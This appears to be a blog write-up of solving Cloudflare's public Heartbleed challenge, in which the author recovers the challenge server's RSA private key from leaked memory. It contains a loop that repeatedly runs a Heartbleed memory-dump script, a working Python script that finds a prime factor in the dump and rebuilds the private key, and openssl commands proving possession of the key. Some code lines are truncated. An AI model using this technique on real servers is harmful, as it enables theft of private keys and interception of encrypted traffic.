I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the 10th to get it. But I'm happy that I was able to prove to myself that I too could do it.

The sleepless adventure began yesterday afternoon, 2014-04-12 15:19:04.827516279 -0700.

First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially believed that it would be highly improbable under normal conditions to obtain the private key through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to extract private keys. So I wanted to see first-hand if it was possible or not.

I started by hastily modifying the hb-test.py that everyone has been using to dump the raw memory contents to a file, rather than print a hexdump. I then left this running in the background for a (very long) while, as I set off to think of an approach.

```
    while true; do python hb-raw.py www.cloudflarechallenge.com; done
```

My original thinking was that I could get a large sample of memory, then use some forensic analysis tools to search for keys in the memory dump. This idea went to the wayside, however, as I got sidetracked when I started seeing "BEGIN RSA PRIVATE KEY" strings in the script output.

    http://bindshell.nl/epixoip/cloudflare_key.png

I thought it was too good to be true, but after parsing it out, it was indeed a valid private key, so I submitted it -- unsuccessfully. This turned out to be the work of trolls who were sending private key contents in heartbeat requests to the server, and I fell for the trollbait. I found several more `private keys' in the dump, and I skeptically tested them anyway, just in case. But they were all fake as well. Fucking trolls. But at least I didn't fall for any of the keys that ended in "LOLJK" ;)

So, I decided to get back on track and stick to my original plan. After searching through some forensics mailing lists and reading some papers on the topic, my plan was to parse my dump file, looking for the start of a key in ASN.1 format ("\x30\x82"), and then parse out the key from there.

While working on this approach, I had a conversation with Brandon Enright (@bmenrigh) on IRC. This conversation left me thinking that my approach won't work, because the chances of the key being in ASN.1 DER format in memory are about as slim as the key being in PEM format in memory. Brandon, however, suggested a much more reasonable approach:

```
(19:25:15) < bmenrigh> But my plan would be to interpret all possible portions of the memory dump
as however the P and Q factors get encoded and then just trial divide the N modulus from the SSL
cert until you get one that divides
(19:26:38) < bmenrigh> you only get up to about 64k of memory on each grab so if you interpret
every offset as the start of the dump as whatever a private key looks like it just isn't many trial
divisions
```

By this time though, I had already been working on this for several hours, and it was Friday night, so I didn't want to spend any more time on it. However, I gave it some more thought over dinner, and the more I drank, the more I realized it was far more likely that the binary values of p, or q, or both, were in memory as-is. They likely wouldn't be encoded at all, so we can just shift through the memory dump in $keysize chunks, converting them to bignums and doing the trial divide as Brandon suggested. This would be really easy to code up and test, so I decided to call it an early night, and rushed home to work on it while the thought (and the liquor) were still fresh in my brain.

The version of hb-test.py that I already had running in the background was dumping memory in 16 KiB chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks, shifting through each chunk in $keysize sections, testing to see if we have a prime that the modulus is divisible by. I sketched out the following psuedocode:

```
    while (chunk = fread (file, 16384))
    {
        for (offset = 0; offset < len(chunk)-keysize; offset++)
        {
                p = bignum (chunk[offset-1] .. chunk[offset+keysize-1])
                if (p is prime and modulus % p == 0)
                {
                        q = modulus / p;
                        print p, q;
                }
        }
    }
```

After a few hours of testing and debugging, lo and behold, one of the primes is in my dump. Several
times, even. From here, it is trivial to get the private key given p/q and the modulus.

I ended up with the following script:

```
import sys, base64, gmpy
from pyasn1.codec.der import encoder
from pyasn1.type.univ import *

def main ():
        n = int (sys.argv[2], 16)
        keysize = n.bit_length() / 16
        with open (sys.argv[1], "rb") as f:
                chunk = f.read (16384)
                while chunk:
                        for offset in xrange (0, len (chunk) - keysize):
                                p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset -
                                if gmpy.is_prime (p) and p != n and n % p == 0:
                                        e = 65537
                                        q = n / p
                                        phi = (p - 1) * (q - 1)
                                        d = gmpy.invert (e, phi)
                                        dp = d % (p - 1)
                                        dq = d % (q - 1)
                                        qinv = gmpy.invert (q, p)
                                        seq = Sequence()
                                        for x in [0, n, e, d, p, q, dp, dq, qinv]:
                                                seq.setComponentByPosition (len (seq), Integer (x))
                                        print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % b
                                        sys.exit (0)
                        chunk = f.read (16384)
                print "private key not found :("

if __name__ == '__main__':
        main()
```

(I'm sorry if this code offends any python aficionados, but I do not write in python very often.)

Putting it all together,

```
epixoip@token:~$ while true; do python hb-raw.py www.cloudflarechallenge.com; done

epixoip@token:~$ echo | openssl s_client -connect www.cloudflarechallenge.com:443 -showcerts | openssl x509 > cloudflare.pem
depth=4 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network, CN = AddTrust External CA Root
verify error:num=19:self signed certificate in certificate chain
verify return:0
DONE

epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem > cloudflare_pubkey.pem

epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2) > c

epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1 >signed_proof.bin

epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem -signature signed_proof.bin -sha1
Verified OK
```

And just so anyone else can verify it if they wish,

```
epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_priv.pem -sha1 | base64
XQT3ZRp1zqK++UUZEWQkib2MX9tiUTN3VEA2G4mj4n86cmc0hTEAS2GO1AgkmoVgshFR/JYxlX74
s+DHPn4PbyAUB4eC+AqS6T+Wc6PR/Jo4XkF9MTsqLviB/jzSt0wl9pld2RbwMNAToE+HGu5vP4PZ
wfW6P5E5HTb/lTsONSubJj9FhZWkDNJPn+d0l/8rS4e9AYvQRII8JGfXAa7BOHgT57qw5F03dE8n
srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7AzOqCeHNon
3uBX7CQZgpl30oaqdCFQcdIOhTb2QwdE3FvSzA==
```

So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent
a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some
guidance (thanks Brandon!) But overall, I am pleased. The next step would be to integrate this into
hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C.